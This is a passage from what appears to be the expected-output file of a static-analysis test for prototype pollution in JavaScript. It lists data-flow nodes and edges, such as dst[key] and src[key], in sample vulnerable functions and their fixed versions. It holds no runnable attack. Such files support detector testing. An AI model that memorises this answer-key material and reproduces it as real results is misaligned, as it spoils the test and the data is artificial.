tests.js:413:14:413:16 | key | +| tests.js:414:13:414:41 | value | +| tests.js:414:13:414:41 | value | +| tests.js:414:13:414:41 | value | +| tests.js:414:13:414:41 | value | +| tests.js:414:21:414:41 | wrapped ... c, key) | +| tests.js:414:21:414:41 | wrapped ... c, key) | +| tests.js:414:21:414:41 | wrapped ... c, key) | +| tests.js:414:21:414:41 | wrapped ... c, key) | +| tests.js:414:21:414:41 | wrapped ... c, key) | +| tests.js:414:33:414:35 | src | +| tests.js:414:33:414:35 | src | +| tests.js:414:38:414:40 | key | +| tests.js:414:38:414:40 | key | +| tests.js:415:13:415:42 | target | +| tests.js:415:13:415:42 | target | +| tests.js:415:13:415:42 | target | +| tests.js:415:13:415:42 | target | +| tests.js:415:22:415:42 | wrapped ... t, key) | +| tests.js:415:22:415:42 | wrapped ... t, key) | +| tests.js:415:22:415:42 | wrapped ... t, key) | +| tests.js:415:22:415:42 | wrapped ... t, key) | +| tests.js:415:34:415:36 | dst | +| tests.js:415:34:415:36 | dst | +| tests.js:415:39:415:41 | key | +| tests.js:415:39:415:41 | key | +| tests.js:417:34:417:39 | target | +| tests.js:417:34:417:39 | target | +| tests.js:417:34:417:39 | target | +| tests.js:417:34:417:39 | target | +| tests.js:417:42:417:46 | value | +| tests.js:417:42:417:46 | value | +| tests.js:417:42:417:46 | value | +| tests.js:417:42:417:46 | value | +| tests.js:419:13:419:15 | dst | +| tests.js:419:13:419:15 | dst | +| tests.js:419:13:419:15 | dst | +| tests.js:419:17:419:19 | key | +| tests.js:419:17:419:19 | key | +| tests.js:419:17:419:19 | key | +| tests.js:419:24:419:28 | value | +| tests.js:419:24:419:28 | value | +| tests.js:419:24:419:28 | value | +| tests.js:419:24:419:28 | value | +| tests.js:419:24:419:28 | value | +| tests.js:429:34:429:36 | dst | +| tests.js:429:39:429:41 | src | +| tests.js:429:39:429:41 | src | +| tests.js:430:14:430:16 | key | +| tests.js:430:14:430:16 | key | +| tests.js:430:14:430:16 | key | +| tests.js:431:13:431:44 | value | +| tests.js:431:13:431:44 | value | +| tests.js:431:13:431:44 | value | +| tests.js:431:13:431:44 | value | +| tests.js:431:21:431:44 | almostS ... c, key) | +| tests.js:431:21:431:44 | almostS ... c, key) | +| tests.js:431:21:431:44 | almostS ... c, key) | +| tests.js:431:21:431:44 | almostS ... c, key) | +| tests.js:431:21:431:44 | almostS ... c, key) | +| tests.js:431:36:431:38 | src | +| tests.js:431:36:431:38 | src | +| tests.js:431:41:431:43 | key | +| tests.js:432:13:432:45 | target | +| tests.js:432:13:432:45 | target | +| tests.js:432:22:432:45 | almostS ... t, key) | +| tests.js:432:22:432:45 | almostS ... t, key) | +| tests.js:432:37:432:39 | dst | +| tests.js:432:42:432:44 | key | +| tests.js:434:37:434:42 | target | +| tests.js:434:37:434:42 | target | +| tests.js:434:45:434:49 | value | +| tests.js:434:45:434:49 | value | +| tests.js:434:45:434:49 | value | +| tests.js:434:45:434:49 | value | +| tests.js:436:13:436:15 | dst | +| tests.js:436:13:436:15 | dst | +| tests.js:436:17:436:19 | key | +| tests.js:436:17:436:19 | key | +| tests.js:436:17:436:19 | key | +| tests.js:436:24:436:28 | value | +| tests.js:436:24:436:28 | value | +| tests.js:436:24:436:28 | value | +| tests.js:436:24:436:28 | value | +| tests.js:436:24:436:28 | value | +| tests.js:446:33:446:35 | src | +| tests.js:446:33:446:35 | src | +| tests.js:447:14:447:16 | key | +| tests.js:447:14:447:16 | key | +| tests.js:447:14:447:16 | key | +| tests.js:448:13:448:38 | value | +| tests.js:448:13:448:38 | value | +| tests.js:448:13:448:38 | value | +| tests.js:448:13:448:38 | value | +| tests.js:448:21:448:38 | safeRead(src, key) | +| tests.js:448:21:448:38 | safeRead(src, key) | +| tests.js:448:21:448:38 | safeRead(src, key) | +| tests.js:448:21:448:38 | safeRead(src, key) | +| tests.js:448:21:448:38 | safeRead(src, key) | +| tests.js:448:30:448:32 | src | +| tests.js:448:30:448:32 | src | +| tests.js:451:39:451:43 | value | +| tests.js:451:39:451:43 | value | +| tests.js:451:39:451:43 | value | +| tests.js:451:39:451:43 | value | +| tests.js:453:17:453:19 | key | +| tests.js:453:17:453:19 | key | +| tests.js:453:17:453:19 | key | +| tests.js:453:24:453:28 | value | +| tests.js:453:24:453:28 | value | +| tests.js:453:24:453:28 | value | +| tests.js:453:24:453:28 | value | +| tests.js:453:24:453:28 | value | +| tests.js:458:26:458:28 | dst | +| tests.js:458:26:458:28 | dst | +| tests.js:458:31:458:33 | src | +| tests.js:458:31:458:33 | src | +| tests.js:460:18:460:22 | value | +| tests.js:460:18:460:22 | value | +| tests.js:460:18:460:22 | value | +| tests.js:460:25:460:27 | key | +| tests.js:460:25:460:27 | key | +| tests.js:460:25:460:27 | key | +| tests.js:462:29:462:31 | dst | +| tests.js:462:29:462:31 | dst | +| tests.js:462:29:462:36 | dst[key] | +| tests.js:462:29:462:36 | dst[key] | +| tests.js:462:29:462:36 | dst[key] | +| tests.js:462:29:462:36 | dst[key] | +| tests.js:462:33:462:35 | key | +| tests.js:462:33:462:35 | key | +| tests.js:462:39:462:41 | src | +| tests.js:462:39:462:41 | src | +| tests.js:462:39:462:46 | src[key] | +| tests.js:462:39:462:46 | src[key] | +| tests.js:462:39:462:46 | src[key] | +| tests.js:462:39:462:46 | src[key] | +| tests.js:462:39:462:46 | src[key] | +| tests.js:462:43:462:45 | key | +| tests.js:462:43:462:45 | key | +| tests.js:465:30:465:32 | dst | +| tests.js:465:30:465:32 | dst | +| tests.js:465:30:465:32 | dst | +| tests.js:465:34:465:36 | key | +| tests.js:465:34:465:36 | key | +| tests.js:465:34:465:36 | key | +| tests.js:465:41:465:43 | src | +| tests.js:465:41:465:43 | src | +| tests.js:465:41:465:48 | src[key] | +| tests.js:465:41:465:48 | src[key] | +| tests.js:465:41:465:48 | src[key] | +| tests.js:465:41:465:48 | src[key] | +| tests.js:465:41:465:48 | src[key] | +| tests.js:465:41:465:48 | src[key] | +| tests.js:465:45:465:47 | key | +| tests.js:465:45:465:47 | key | +| tests.js:466:30:466:32 | dst | +| tests.js:466:30:466:32 | dst | +| tests.js:466:30:466:32 | dst | +| tests.js:466:34:466:36 | key | +| tests.js:466:34:466:36 | key | +| tests.js:466:34:466:36 | key | +| tests.js:466:41:466:46 | o[key] | +| tests.js:466:41:466:46 | o[key] | +| tests.js:466:41:466:46 | o[key] | +| tests.js:466:41:466:46 | o[key] | +| tests.js:466:43:466:45 | key | +| tests.js:466:43:466:45 | key | +| tests.js:467:30:467:32 | dst | +| tests.js:467:30:467:32 | dst | +| tests.js:467:30:467:32 | dst | +| tests.js:467:34:467:36 | key | +| tests.js:467:34:467:36 | key | +| tests.js:467:34:467:36 | key | +| tests.js:467:41:467:45 | value | +| tests.js:467:41:467:45 | value | +| tests.js:467:41:467:45 | value | +| tests.js:472:38:472:40 | dst | +| tests.js:472:38:472:40 | dst | +| tests.js:473:18:473:22 | value | +| tests.js:473:18:473:22 | value | +| tests.js:473:18:473:22 | value | +| tests.js:473:25:473:27 | key | +| tests.js:473:25:473:27 | key | +| tests.js:473:25:473:27 | key | +| tests.js:475:41:475:43 | dst | +| tests.js:475:41:475:43 | dst | +| tests.js:475:41:475:48 | dst[key] | +| tests.js:475:41:475:48 | dst[key] | +| tests.js:475:41:475:48 | dst[key] | +| tests.js:475:41:475:48 | dst[key] | +| tests.js:475:45:475:47 | key | +| tests.js:475:45:475:47 | key | +| tests.js:477:13:477:15 | dst | +| tests.js:477:13:477:15 | dst | +| tests.js:477:13:477:15 | dst | +| tests.js:477:17:477:19 | key | +| tests.js:477:17:477:19 | key | +| tests.js:477:17:477:19 | key | +| tests.js:477:24:477:28 | value | +| tests.js:477:24:477:28 | value | +| tests.js:477:24:477:28 | value | +| tests.js:483:26:483:28 | dst | +| tests.js:483:31:483:33 | src | +| tests.js:483:31:483:33 | src | +| tests.js:484:14:484:16 | key | +| tests.js:484:14:484:16 | key | +| tests.js:487:29:487:31 | dst | +| tests.js:487:29:487:36 | dst[key] | +| tests.js:487:29:487:36 | dst[key] | +| tests.js:487:33:487:35 | key | +| tests.js:487:39:487:41 | src | +| tests.js:487:39:487:46 | src[key] | +| tests.js:487:39:487:46 | src[key] | +| tests.js:487:39:487:46 | src[key] | +| tests.js:487:39:487:46 | src[key] | +| tests.js:487:43:487:45 | key | +| tests.js:489:13:489:15 | dst | +| tests.js:489:13:489:15 | dst | +| tests.js:489:17:489:19 | key | +| tests.js:489:17:489:19 | key | +| tests.js:489:24:489:26 | src | +| tests.js:489:24:489:26 | src | +| tests.js:489:24:489:31 | src[key] | +| tests.js:489:24:489:31 | src[key] | +| tests.js:489:24:489:31 | src[key] | +| tests.js:489:24:489:31 | src[key] | +| tests.js:489:24:489:31 | src[key] | +| tests.js:489:24:489:31 | src[key] | +| tests.js:489:28:489:30 | key | +| tests.js:494:32:494:34 | src | +| tests.js:495:14:495:16 | key | +| tests.js:495:14:495:16 | key | +| tests.js:498:13:498:28 | value | +| tests.js:498:13:498:28 | value | +| tests.js:498:13:498:28 | value | +| tests.js:498:21:498:23 | src | +| tests.js:498:21:498:28 | src[key] | +| tests.js:498:21:498:28 | src[key] | +| tests.js:498:21:498:28 | src[key] | +| tests.js:498:21:498:28 | src[key] | +| tests.js:498:25:498:27 | key | +| tests.js:500:38:500:42 | value | +| tests.js:500:38:500:42 | value | +| tests.js:502:17:502:19 | key | +| tests.js:502:17:502:19 | key | +| tests.js:502:24:502:28 | value | +| tests.js:502:24:502:28 | value | +| tests.js:502:24:502:28 | value | +| tests.js:502:24:502:28 | value | +edges +| examples/PrototypePollutingFunction.js:1:16:1:18 | dst | examples/PrototypePollutingFunction.js:5:19:5:21 | dst | +| examples/PrototypePollutingFunction.js:1:16:1:18 | dst | examples/PrototypePollutingFunction.js:5:19:5:21 | dst | +| examples/PrototypePollutingFunction.js:1:16:1:18 | dst | examples/PrototypePollutingFunction.js:7:13:7:15 | dst | +| examples/PrototypePollutingFunction.js:1:16:1:18 | dst | examples/PrototypePollutingFunction.js:7:13:7:15 | dst | +| examples/PrototypePollutingFunction.js:1:16:1:18 | dst | examples/PrototypePollutingFunction.js:7:13:7:15 | dst | +| examples/PrototypePollutingFunction.js:1:16:1:18 | dst | examples/PrototypePollutingFunction.js:7:13:7:15 | dst | +| examples/PrototypePollutingFunction.js:1:21:1:23 | src | examples/PrototypePollutingFunction.js:5:29:5:31 | src | +| examples/PrototypePollutingFunction.js:1:21:1:23 | src | examples/PrototypePollutingFunction.js:5:29:5:31 | src | +| examples/PrototypePollutingFunction.js:1:21:1:23 | src | examples/PrototypePollutingFunction.js:7:24:7:26 | src | +| examples/PrototypePollutingFunction.js:1:21:1:23 | src | examples/PrototypePollutingFunction.js:7:24:7:26 | src | +| examples/PrototypePollutingFunction.js:2:14:2:16 | key | examples/PrototypePollutingFunction.js:5:23:5:25 | key | +| examples/PrototypePollutingFunction.js:2:14:2:16 | key | examples/PrototypePollutingFunction.js:5:23:5:25 | key | +| examples/PrototypePollutingFunction.js:2:14:2:16 | key | examples/PrototypePollutingFunction.js:5:23:5:25 | key | +| examples/PrototypePollutingFunction.js:2:14:2:16 | key | examples/PrototypePollutingFunction.js:5:23:5:25 | key | +| examples/PrototypePollutingFunction.js:2:14:2:16 | key | examples/PrototypePollutingFunction.js:5:33:5:35 | key | +| examples/PrototypePollutingFunction.js:2:14:2:16 | key | examples/PrototypePollutingFunction.js:5:33:5:35 | key | +| examples/PrototypePollutingFunction.js:2:14:2:16 | key | examples/PrototypePollutingFunction.js:5:33:5:35 | key | +| examples/PrototypePollutingFunction.js:2:14:2:16 | key | examples/PrototypePollutingFunction.js:5:33:5:35 | key | +| examples/PrototypePollutingFunction.js:2:14:2:16 | key | examples/PrototypePollutingFunction.js:7:17:7:19 | key | +| examples/PrototypePollutingFunction.js:2:14:2:16 | key | examples/PrototypePollutingFunction.js:7:17:7:19 | key | +| examples/PrototypePollutingFunction.js:2:14:2:16 | key | examples/PrototypePollutingFunction.js:7:17:7:19 | key | +| examples/PrototypePollutingFunction.js:2:14:2:16 | key | examples/PrototypePollutingFunction.js:7:17:7:19 | key | +| examples/PrototypePollutingFunction.js:2:14:2:16 | key | examples/PrototypePollutingFunction.js:7:17:7:19 | key | +| examples/PrototypePollutingFunction.js:2:14:2:16 | key | examples/PrototypePollutingFunction.js:7:17:7:19 | key | +| examples/PrototypePollutingFunction.js:2:14:2:16 | key | examples/PrototypePollutingFunction.js:7:17:7:19 | key | +| examples/PrototypePollutingFunction.js:2:14:2:16 | key | examples/PrototypePollutingFunction.js:7:28:7:30 | key | +| examples/PrototypePollutingFunction.js:2:14:2:16 | key | examples/PrototypePollutingFunction.js:7:28:7:30 | key | +| examples/PrototypePollutingFunction.js:2:14:2:16 | key | examples/PrototypePollutingFunction.js:7:28:7:30 | key | +| examples/PrototypePollutingFunction.js:2:14:2:16 | key | examples/PrototypePollutingFunction.js:7:28:7:30 | key | +| examples/PrototypePollutingFunction.js:5:19:5:21 | dst | examples/PrototypePollutingFunction.js:5:19:5:26 | dst[key] | +| examples/PrototypePollutingFunction.js:5:19:5:21 | dst | examples/PrototypePollutingFunction.js:5:19:5:26 | dst[key] | +| examples/PrototypePollutingFunction.js:5:19:5:26 | dst[key] | examples/PrototypePollutingFunction.js:1:16:1:18 | dst | +| examples/PrototypePollutingFunction.js:5:19:5:26 | dst[key] | examples/PrototypePollutingFunction.js:1:16:1:18 | dst | +| examples/PrototypePollutingFunction.js:5:19:5:26 | dst[key] | examples/PrototypePollutingFunction.js:1:16:1:18 | dst | +| examples/PrototypePollutingFunction.js:5:19:5:26 | dst[key] | examples/PrototypePollutingFunction.js:1:16:1:18 | dst | +| examples/PrototypePollutingFunction.js:5:23:5:25 | key | examples/PrototypePollutingFunction.js:5:19:5:26 | dst[key] | +| examples/PrototypePollutingFunction.js:5:23:5:25 | key | examples/PrototypePollutingFunction.js:5:19:5:26 | dst[key] | +| examples/PrototypePollutingFunction.js:5:29:5:31 | src | examples/PrototypePollutingFunction.js:5:29:5:36 | src[key] | +| examples/PrototypePollutingFunction.js:5:29:5:31 | src | examples/PrototypePollutingFunction.js:5:29:5:36 | src[key] | +| examples/PrototypePollutingFunction.js:5:29:5:36 | src[key] | examples/PrototypePollutingFunction.js:1:21:1:23 | src | +| examples/PrototypePollutingFunction.js:5:29:5:36 | src[key] | examples/PrototypePollutingFunction.js:1:21:1:23 | src | +| examples/PrototypePollutingFunction.js:5:29:5:36 | src[key] | examples/PrototypePollutingFunction.js:1:21:1:23 | src | +| examples/PrototypePollutingFunction.js:5:29:5:36 | src[key] | examples/PrototypePollutingFunction.js:1:21:1:23 | src | +| examples/PrototypePollutingFunction.js:5:29:5:36 | src[key] | examples/PrototypePollutingFunction.js:1:21:1:23 | src | +| examples/PrototypePollutingFunction.js:5:29:5:36 | src[key] | examples/PrototypePollutingFunction.js:1:21:1:23 | src | +| examples/PrototypePollutingFunction.js:5:33:5:35 | key | examples/PrototypePollutingFunction.js:5:29:5:36 | src[key] | +| examples/PrototypePollutingFunction.js:5:33:5:35 | key | examples/PrototypePollutingFunction.js:5:29:5:36 | src[key] | +| examples/PrototypePollutingFunction.js:7:24:7:26 | src | examples/PrototypePollutingFunction.js:7:24:7:31 | src[key] | +| examples/PrototypePollutingFunction.js:7:24:7:26 | src | examples/PrototypePollutingFunction.js:7:24:7:31 | src[key] | +| examples/PrototypePollutingFunction.js:7:24:7:26 | src | examples/PrototypePollutingFunction.js:7:24:7:31 | src[key] | +| examples/PrototypePollutingFunction.js:7:24:7:26 | src | examples/PrototypePollutingFunction.js:7:24:7:31 | src[key] | +| examples/PrototypePollutingFunction.js:7:24:7:31 | src[key] | examples/PrototypePollutingFunction.js:7:24:7:31 | src[key] | +| examples/PrototypePollutingFunction.js:7:28:7:30 | key | examples/PrototypePollutingFunction.js:7:24:7:31 | src[key] | +| examples/PrototypePollutingFunction.js:7:28:7:30 | key | examples/PrototypePollutingFunction.js:7:24:7:31 | src[key] | +| examples/PrototypePollutingFunction.js:7:28:7:30 | key | examples/PrototypePollutingFunction.js:7:24:7:31 | src[key] | +| examples/PrototypePollutingFunction.js:7:28:7:30 | key | examples/PrototypePollutingFunction.js:7:24:7:31 | src[key] | +| examples/PrototypePollutingFunction_fixed2.js:1:21:1:23 | src | examples/PrototypePollutingFunction_fixed2.js:6:29:6:31 | src | +| examples/PrototypePollutingFunction_fixed2.js:1:21:1:23 | src | examples/PrototypePollutingFunction_fixed2.js:6:29:6:31 | src | +| examples/PrototypePollutingFunction_fixed2.js:1:21:1:23 | src | examples/PrototypePollutingFunction_fixed2.js:8:24:8:26 | src | +| examples/PrototypePollutingFunction_fixed2.js:1:21:1:23 | src | examples/PrototypePollutingFunction_fixed2.js:8:24:8:26 | src | +| examples/PrototypePollutingFunction_fixed2.js:6:29:6:31 | src | examples/PrototypePollutingFunction_fixed2.js:6:29:6:36 | src[key] | +| examples/PrototypePollutingFunction_fixed2.js:6:29:6:31 | src | examples/PrototypePollutingFunction_fixed2.js:6:29:6:36 | src[key] | +| examples/PrototypePollutingFunction_fixed2.js:6:29:6:36 | src[key] | examples/PrototypePollutingFunction_fixed2.js:1:21:1:23 | src | +| examples/PrototypePollutingFunction_fixed2.js:6:29:6:36 | src[key] | examples/PrototypePollutingFunction_fixed2.js:1:21:1:23 | src | +| examples/PrototypePollutingFunction_fixed2.js:6:29:6:36 | src[key] | examples/PrototypePollutingFunction_fixed2.js:1:21:1:23 | src | +| examples/PrototypePollutingFunction_fixed2.js:6:29:6:36 | src[key] | examples/PrototypePollutingFunction_fixed2.js:1:21:1:23 | src | +| examples/PrototypePollutingFunction_fixed2.js:6:29:6:36 | src[key] | examples/PrototypePollutingFunction_fixed2.js:1:21:1:23 | src | +| examples/PrototypePollutingFunction_fixed2.js:6:29:6:36 | src[key] | examples/PrototypePollutingFunction_fixed2.js:1:21:1:23 | src | +| examples/PrototypePollutingFunction_fixed2.js:8:24:8:26 | src | examples/PrototypePollutingFunction_fixed2.js:8:24:8:31 | src[key] | +| examples/PrototypePollutingFunction_fixed2.js:8:24:8:26 | src | examples/PrototypePollutingFunction_fixed2.js:8:24:8:31 | src[key] | +| examples/PrototypePollutingFunction_fixed2.js:8:24:8:26 | src | examples/PrototypePollutingFunction_fixed2.js:8:24:8:31 | src[key] | +| examples/PrototypePollutingFunction_fixed2.js:8:24:8:26 | src | examples/PrototypePollutingFunction_fixed2.js:8:24:8:31 | src[key] | +| examples/PrototypePollutingFunction_fixed2.js:8:24:8:31 | src[key] | examples/PrototypePollutingFunction_fixed2.js:8:24:8:31 | src[key] | +| examples/PrototypePollutingFunction_fixed.js:1:21:1:23 | src | examples/PrototypePollutingFunction_fixed.js:5:29:5:31 | src | +| examples/PrototypePollutingFunction_fixed.js:1:21:1:23 | src | examples/PrototypePollutingFunction_fixed.js:5:29:5:31 | src | +| examples/PrototypePollutingFunction_fixed.js:1:21:1:23 | src | examples/PrototypePollutingFunction_fixed.js:7:24:7:26 | src | +| examples/PrototypePollutingFunction_fixed.js:1:21:1:23 | src | examples/PrototypePollutingFunction_fixed.js:7:24:7:26 | src | +| examples/PrototypePollutingFunction_fixed.js:2:14:2:16 | key | examples/PrototypePollutingFunction_fixed.js:7:17:7:19 | key | +| examples/PrototypePollutingFunction_fixed.js:2:14:2:16 | key | examples/PrototypePollutingFunction_fixed.js:7:17:7:19 | key | +| examples/PrototypePollutingFunction_fixed.js:2:14:2:16 | key | examples/PrototypePollutingFunction_fixed.js:7:17:7:19 | key | +| examples/PrototypePollutingFunction_fixed.js:2:14:2:16 | key | examples/PrototypePollutingFunction_fixed.js:7:17:7:19 | key | +| examples/PrototypePollutingFunction_fixed.js:2:14:2:16 | key | examples/PrototypePollutingFunction_fixed.js:7:17:7:19 | key | +| examples/PrototypePollutingFunction_fixed.js:2:14:2:16 | key | examples/PrototypePollutingFunction_fixed.js:7:17:7:19 | key | +| examples/PrototypePollutingFunction_fixed.js:2:14:2:16 | key | examples/PrototypePollutingFunction_fixed.js:7:17:7:19 | key | +| examples/PrototypePollutingFunction_fixed.js:2:14:2:16 | key | examples/PrototypePollutingFunction_fixed.js:7:28:7:30 | key | +| examples/PrototypePollutingFunction_fixed.js:2:14:2:16 | key | examples/PrototypePollutingFunction_fixed.js:7:28:7:30 | key | +| examples/PrototypePollutingFunction_fixed.js:2:14:2:16 | key | examples/PrototypePollutingFunction_fixed.js:7:28:7:30 | key | +| examples/PrototypePollutingFunction_fixed.js:2:14:2:16 | key | examples/PrototypePollutingFunction_fixed.js:7:28:7:30 | key | +| examples/PrototypePollutingFunction_fixed.js:5:29:5:31 | src | examples/PrototypePollutingFunction_fixed.js:5:29:5:36 | src[key] | +| examples/PrototypePollutingFunction_fixed.js:5:29:5:31 | src | examples/PrototypePollutingFunction_fixed.js:5:29:5:36 | src[key] | +| examples/PrototypePollutingFunction_fixed.js:5:29:5:36 | src[key] | examples/PrototypePollutingFunction_fixed.js:1:21:1:23 | src | +| examples/PrototypePollutingFunction_fixed.js:5:29:5:36 | src[key] | examples/PrototypePollutingFunction_fixed.js:1:21:1:23 | src | +| examples/PrototypePollutingFunction_fixed.js:5:29:5:36 | src[key] | examples/PrototypePollutingFunction_fixed.js:1:21:1:23 | src | +| examples/PrototypePollutingFunction_fixed.js:5:29:5:36 | src[key] | examples/PrototypePollutingFunction_fixed.js:1:21:1:23 | src | +| examples/PrototypePollutingFunction_fixed.js:5:29:5:36 | src[key] | examples/PrototypePollutingFunction_fixed.js:1:21:1:23 | src | +| examples/PrototypePollutingFunction_fixed.js:5:29:5:36 | src[key] | examples/PrototypePollutingFunction_fixed.js:1:21:1:23 | src | +| examples/PrototypePollutingFunction_fixed.js:7:24:7:26 | src | examples/PrototypePollutingFunction_fixed.js:7:24:7:31 | src[key] | +| examples/PrototypePollutingFunction_fixed.js:7:24:7:26 | src | examples/PrototypePollutingFunction_fixed.js:7:24:7:31 | src[key] | +| examples/PrototypePollutingFunction_fixed.js:7:24:7:26 | src | examples/PrototypePollutingFunction_fixed.js:7:24:7:31 | src[key] | +| examples/PrototypePollutingFunction_fixed.js:7:24:7:26 | src | examples/PrototypePollutingFunction_fixed.js:7:24:7:31 | src[key] | +| examples/PrototypePollutingFunction_fixed.js:7:24:7:31 | src[key] | examples/PrototypePollutingFunction_fixed.js:7:24:7:31 | src[key] | +| examples/PrototypePollutingFunction_fixed.js:7:28:7:30 | key | examples/PrototypePollutingFunction_fixed.js:7:24:7:31 | src[key] | +| examples/PrototypePollutingFunction_fixed.js:7:28:7:30 | key | examples/PrototypePollutingFunction_fixed.js:7:24:7:31 | src[key] | +| examples/PrototypePollutingFunction_fixed.js:7:28:7:30 | key | examples/PrototypePollutingFunction_fixed.js:7:24:7:31 | src[key] | +| examples/PrototypePollutingFunction_fixed.js:7:28:7:30 | key | examples/PrototypePollutingFunction_fixed.js:7:24:7:31 | src[key] | +| path-assignment.js:8:13:8:25 | key | path-assignment.js:13:29:13:31 | key | +| path-assignment.js:8:13:8:25 | key | path-assignment.js:13:29:13:31 | key | +| path-assignment.js:8:13:8:25 | key | path-assignment.js:15:20:15:22 | key | +| path-assignment.js:8:13:8:25 | key | path-assignment.js:15:20:15:22 | key | +| path-assignment.js:8:13:8:25 | key | path-assignment.js:15:20:15:22 | key | +| path-assignment.js:8:13:8:25 | key | path-assignment.js:15:20:15:22 | key | +| path-assignment.js:8:19:8:25 | keys[i] | path-assignment.js:8:13:8:25 | key | +| path-assignment.js:8:19:8:25 | keys[i] | path-assignment.js:8:13:8:25 | key | +| path-assignment.js:8:19:8:25 | keys[i] | path-assignment.js:8:13:8:25 | key | +| path-assignment.js:8:19:8:25 | keys[i] | path-assignment.js:8:13:8:25 | key | +| path-assignment.js:13:13:13:32 | target | path-assignment.js:13:22:13:27 | target | +| path-assignment.js:13:13:13:32 | target | path-assignment.js:13:22:13:27 | target | +| path-assignment.js:13:13:13:32 | target | path-assignment.js:15:13:15:18 | target | +| path-assignment.js:13:13:13:32 | target | path-assignment.js:15:13:15:18 | target | +| path-assignment.js:13:13:13:32 | target | path-assignment.js:15:13:15:18 | target | +| path-assignment.js:13:13:13:32 | target | path-assignment.js:15:13:15:18 | target | +| path-assignment.js:13:22:13:27 | target | path-assignment.js:13:22:13:32 | target[key] | +| path-assignment.js:13:22:13:27 | target | path-assignment.js:13:22:13:32 | target[key] | +| path-assignment.js:13:22:13:32 | target[key] | path-assignment.js:13:13:13:32 | target | +| path-assignment.js:13:22:13:32 | target[key] | path-assignment.js:13:13:13:32 | target | +| path-assignment.js:13:29:13:31 | key | path-assignment.js:13:22:13:32 | target[key] | +| path-assignment.js:13:29:13:31 | key | path-assignment.js:13:22:13:32 | target[key] | +| path-assignment.js:41:13:41:25 | key | path-assignment.js:42:25:42:27 | key | +| path-assignment.js:41:13:41:25 | key | path-assignment.js:42:25:42:27 | key | +| path-assignment.js:41:13:41:25 | key | path-assignment.js:42:25:42:27 | key | +| path-assignment.js:41:13:41:25 | key | path-assignment.js:42:25:42:27 | key | +| path-assignment.js:41:13:41:25 | key | path-assignment.js:42:39:42:41 | key | +| path-assignment.js:41:13:41:25 | key | path-assignment.js:42:39:42:41 | key | +| path-assignment.js:41:19:41:25 | keys[i] | path-assignment.js:41:13:41:25 | key | +| path-assignment.js:41:19:41:25 | keys[i] | path-assignment.js:41:13:41:25 | key | +| path-assignment.js:41:19:41:25 | keys[i] | path-assignment.js:41:13:41:25 | key | +| path-assignment.js:41:19:41:25 | keys[i] | path-assignment.js:41:13:41:25 | key | +| path-assignment.js:42:9:42:48 | target | path-assignment.js:42:18:42:23 | target | +| path-assignment.js:42:9:42:48 | target | path-assignment.js:42:18:42:23 | target | +| path-assignment.js:42:9:42:48 | target | path-assignment.js:42:18:42:23 | target | +| path-assignment.js:42:9:42:48 | target | path-assignment.js:42:18:42:23 | target | +| path-assignment.js:42:9:42:48 | target | path-assignment.js:42:32:42:37 | target | +| path-assignment.js:42:9:42:48 | target | path-assignment.js:42:32:42:37 | target | +| path-assignment.js:42:9:42:48 | target | path-assignment.js:44:5:44:10 | target | +| path-assignment.js:42:9:42:48 | target | path-assignment.js:44:5:44:10 | target | +| path-assignment.js:42:9:42:48 | target | path-assignment.js:44:5:44:10 | target | +| path-assignment.js:42:9:42:48 | target | path-assignment.js:44:5:44:10 | target | +| path-assignment.js:42:18:42:48 | target[ ... ] \|\| {} | path-assignment.js:42:9:42:48 | target | +| path-assignment.js:42:18:42:48 | target[ ... ] \|\| {} | path-assignment.js:42:9:42:48 | target | +| path-assignment.js:42:32:42:37 | target | path-assignment.js:42:32:42:42 | target[key] | +| path-assignment.js:42:32:42:37 | target | path-assignment.js:42:32:42:42 | target[key] | +| path-assignment.js:42:32:42:42 | target[key] | path-assignment.js:42:32:42:48 | target[key] \|\| {} | +| path-assignment.js:42:32:42:42 | target[key] | path-assignment.js:42:32:42:48 | target[key] \|\| {} | +| path-assignment.js:42:32:42:42 | target[key] | path-assignment.js:42:32:42:48 | target[key] \|\| {} | +| path-assignment.js:42:32:42:42 | target[key] | path-assignment.js:42:32:42:48 | target[key] \|\| {} | +| path-assignment.js:42:32:42:48 | target[key] \|\| {} | path-assignment.js:42:18:42:48 | target[ ... ] \|\| {} | +| path-assignment.js:42:32:42:48 | target[key] \|\| {} | path-assignment.js:42:18:42:48 | target[ ... ] \|\| {} | +| path-assignment.js:42:39:42:41 | key | path-assignment.js:42:32:42:42 | target[key] | +| path-assignment.js:42:39:42:41 | key | path-assignment.js:42:32:42:42 | target[key] | +| path-assignment.js:44:12:44:18 | keys[i] | path-assignment.js:44:12:44:18 | keys[i] | +| path-assignment.js:58:13:58:25 | key | path-assignment.js:59:25:59:27 | key | +| path-assignment.js:58:13:58:25 | key | path-assignment.js:59:25:59:27 | key | +| path-assignment.js:58:13:58:25 | key | path-assignment.js:59:25:59:27 | key | +| path-assignment.js:58:13:58:25 | key | path-assignment.js:59:25:59:27 | key | +| path-assignment.js:58:13:58:25 | key | path-assignment.js:59:39:59:41 | key | +| path-assignment.js:58:13:58:25 | key | path-assignment.js:59:39:59:41 | key | +| path-assignment.js:58:19:58:25 | keys[i] | path-assignment.js:58:13:58:25 | key | +| path-assignment.js:58:19:58:25 | keys[i] | path-assignment.js:58:13:58:25 | key | +| path-assignment.js:58:19:58:25 | keys[i] | path-assignment.js:58:13:58:25 | key | +| path-assignment.js:58:19:58:25 | keys[i] | path-assignment.js:58:13:58:25 | key | +| path-assignment.js:59:9:59:48 | target | path-assignment.js:59:18:59:23 | target | +| path-assignment.js:59:9:59:48 | target | path-assignment.js:59:18:59:23 | target | +| path-assignment.js:59:9:59:48 | target | path-assignment.js:59:18:59:23 | target | +| path-assignment.js:59:9:59:48 | target | path-assignment.js:59:18:59:23 | target | +| path-assignment.js:59:9:59:48 | target | path-assignment.js:59:32:59:37 | target | +| path-assignment.js:59:9:59:48 | target | path-assignment.js:59:32:59:37 | target | +| path-assignment.js:59:9:59:48 | target | path-assignment.js:61:5:61:10 | target | +| path-assignment.js:59:9:59:48 | target | path-assignment.js:61:5:61:10 | target | +| path-assignment.js:59:9:59:48 | target | path-assignment.js:61:5:61:10 | target | +| path-assignment.js:59:9:59:48 | target | path-assignment.js:61:5:61:10 | target | +| path-assignment.js:59:18:59:48 | target[ ... ] \|\| {} | path-assignment.js:59:9:59:48 | target | +| path-assignment.js:59:18:59:48 | target[ ... ] \|\| {} | path-assignment.js:59:9:59:48 | target | +| path-assignment.js:59:32:59:37 | target | path-assignment.js:59:32:59:42 | target[key] | +| path-assignment.js:59:32:59:37 | target | path-assignment.js:59:32:59:42 | target[key] | +| path-assignment.js:59:32:59:42 | target[key] | path-assignment.js:59:32:59:48 | target[key] \|\| 